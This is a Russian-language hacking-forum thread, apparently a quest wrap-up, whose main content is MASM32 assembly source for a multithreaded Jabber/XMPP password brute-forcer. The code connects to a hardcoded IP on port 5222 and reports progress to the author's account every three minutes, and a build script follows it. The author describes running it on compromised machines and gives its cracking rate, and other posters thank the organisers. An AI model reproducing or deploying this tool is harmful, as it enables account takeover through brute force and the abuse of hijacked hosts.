Thread2Proc proc p:dword
local sock:dword,saddr:sockaddr_in
local buf[1000h]:byte 

	mov saddr.sin_addr,func(inet_addr,chr$("193.107.16.43"))
	mov saddr.sin_family,AF_INET
	invoke htons,5222
	mov saddr.sin_port,ax

	mov sock,func(socket,AF_INET,SOCK_STREAM,IPPROTO_TCP)
	invoke connect,sock,addr saddr,sizeof sockaddr_in
	
	invoke send,sock,offset j1,sizeof j1,0
	invoke Sleep,2100
	invoke recv,sock,addr buf,1000h,0
	
	invoke GetTickCount
	invoke wsprintf,addr buf,offset j2,eax
	
	invoke send,sock,addr buf,eax,0
	invoke Sleep,2100
	invoke recv,sock,addr buf,1000h,0
	
@@:	
	invoke wsprintf,addr buf,offset j5,offset currPass
	mov ecx,eax
	invoke send,sock,addr buf,ecx,0
	invoke Sleep,180*1000
	jmp @b
	
	ret
Thread2Proc endp

IncPass proc
@beg:	
	inc ch1
	
	cmp ch1,sizeof alphabet
	jnz @get_pass
	mov ch1,1
	inc ch2
	
	cmp ch2,sizeof alphabet
	jnz @get_pass
	mov ch2,1
	inc ch3
	
	cmp ch3,sizeof alphabet
	jnz @get_pass
	mov ch3,1
	
	inc ch4
	cmp ch4,sizeof alphabet
	jnz @get_pass
	xor eax,eax
	ret

@get_pass:
	lea esi,ch1
	lea edi,currPass
	lea ebx,alphabet
	mov ecx,4
@@:
	lodsb
	xlat
	stosb
	loop @b

	mov eax,1
	ret
IncPass endp

ThreadProc proc p:dword
local sock:dword,saddr:sockaddr_in
local buf[1000h]:byte 
local buf2[2]:dword

	mov saddr.sin_addr,func(inet_addr,chr$("193.107.16.43"))

	mov saddr.sin_family,AF_INET
	invoke htons,5222
	mov saddr.sin_port,ax
	

	mov sock,func(socket,AF_INET,SOCK_STREAM,IPPROTO_TCP)
	invoke connect,sock,addr saddr,sizeof sockaddr_in
	invoke send,sock,offset j1,sizeof j1,0
	invoke Sleep,2000
	invoke recv,sock,addr buf,1000h,0
	
	invoke GetTickCount
	invoke wsprintf,addr buf,offset j2,eax
	
	invoke send,sock,addr buf,eax,0
	invoke Sleep,2000
	invoke recv,sock,addr buf,1000h,0
  
	
@loop:
	invoke WaitForSingleObject,hevent,INFINITE
	invoke ResetEvent,hevent
	
	mov dword ptr [buf2+0],0
	mov dword ptr [buf2+4],0
	
	invoke IncPass
	m2m buf2,currPass
	test eax,eax
	jnz @send
	
	invoke send,sock,offset j6,sizeof j6,0
	invoke ExitProcess,0
	
@send:	
	invoke SetEvent,hevent
	
	invoke wsprintf,addr buf,offset j3,addr buf2
	mov ecx,eax
	invoke send,sock,addr buf,ecx,0

	
	lea edi,buf
	mov ecx,100h
	xor eax,eax
	rep stosb

	invoke recv,sock,addr buf,1000h,0
	
	invoke OutputDebugString,addr buf
	cmp dword ptr [buf+92],'orre'
	jz @loop
	
	invoke wsprintf,addr buf,offset j4,addr buf2
	mov ecx,eax
	invoke send,sock,addr buf,ecx,0
	invoke shutdown,sock,SD_BOTH
	invoke closesocket,sock
@exit:
	ret

ThreadProc endp

start:

	invoke WSAStartup,0202h,offset wsa
	mov hevent,func(CreateEvent,0,TRUE,TRUE,0)
	
	invoke CreateThread,0,0,Thread2Proc,0,0,0
	
	mov ecx,9
@@:	
	push ecx
	invoke CreateThread,0,0,ThreadProc,0,0,0
	invoke Sleep,2000
	pop ecx
	
	loop @b
	invoke ExitThread,0	
	
	ret
end start

:make
set prname=jbrut
set prdir=d:\down\quest.dlab.org.in\brut
cd /d %prdir%
c:\masm32\bin\ml.exe /nologo /c /coff %prname%.cmd
c:\masm32\bin\link.exe /nologo /SUBSYSTEM:WINDOWS /OUT:jbrut5.exe %prname%.obj
pause
del %prname%.obj
del %prname%.res
этот кодес стартует 10 потоков, 9 на брут + 1 на отстук, каждые 3 минуты бот рапортовал мне на жабу о прогрессе.
скороть такого брута была примерно 2343 пароля в минуту, за час пробручивал диапазон ***a-***b, т.е. на полный перебор алфавита нужно было примерно 52 часа.

PS: я устал его перекомпилировать, т.к. деды уходили в ребут, умерали и прочая херня происходила... т.е. надо было перекомпилировать с другим стартовым пассом, я его перезаливал раз 20 не меньше, несколько раз терял сбрученное по той или иной причине, последний раз все-таки запустил проспанный мною диапазон ***z-***D на своей машинке, и попал в точку.

7. ПОБЕДА!!! :yahoo:

PSS: впечатления от прохождения оч даже положительные, я как нарк последние 6-7 суток только спал и занимался квестом забив на все, кроме дамаги других форумов не открывал, как некоторые заметили "саботаж", да, это наверное так, не факт что Арес приследовал именно это, но это было круто. отметить хотелось бы 2-е задание, в отличии от всех остальных оно не имело логики и бесило больше всех. а так - круто. всем спасибо!

PSSS: приму участие в работе над заданиями следующего квеста, тематика: асм, кодинг, реверс.
 
это действительно было круто, спасибо за квест :)
не спал несколько ночей, забил на работу (зато сейчас завалы блеат), но оно того стоило.
дописать жабоклиента (брут) просто не было времени, но меня это зацепило, все-таки постараюсь дописать. как допишу, обязательно выложу, на потеху линупсоидам :)

благодарю всех организаторов, а особый респект waahoo, за самую извращённую реализацию прохождения :)
[23:26:23] <12309> я думал, что получу премию "изврат года"
[23:26:35] <12309> но потом понял, что я еще не изврат
[23:26:46] <12309> когда узнал, что ваху пишет клиента на асме
(у меня все написано на bash-е :) )

также у меня есть проект нового квеста, 4 лвла обдуманы и штук 6 дополнительных идей, возможно, перерастущих в отдельные лвлы.
скорее всего квест будет представлен, как "официальный от ыксплоет.ин". на данный момент помогают waahoo и r00nix, возможно, понадобится помощь дизайнера/html-верстальщика.
 
Очень интересный квест, в следующем квесте постараемся предоставить призов от себя победителям.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх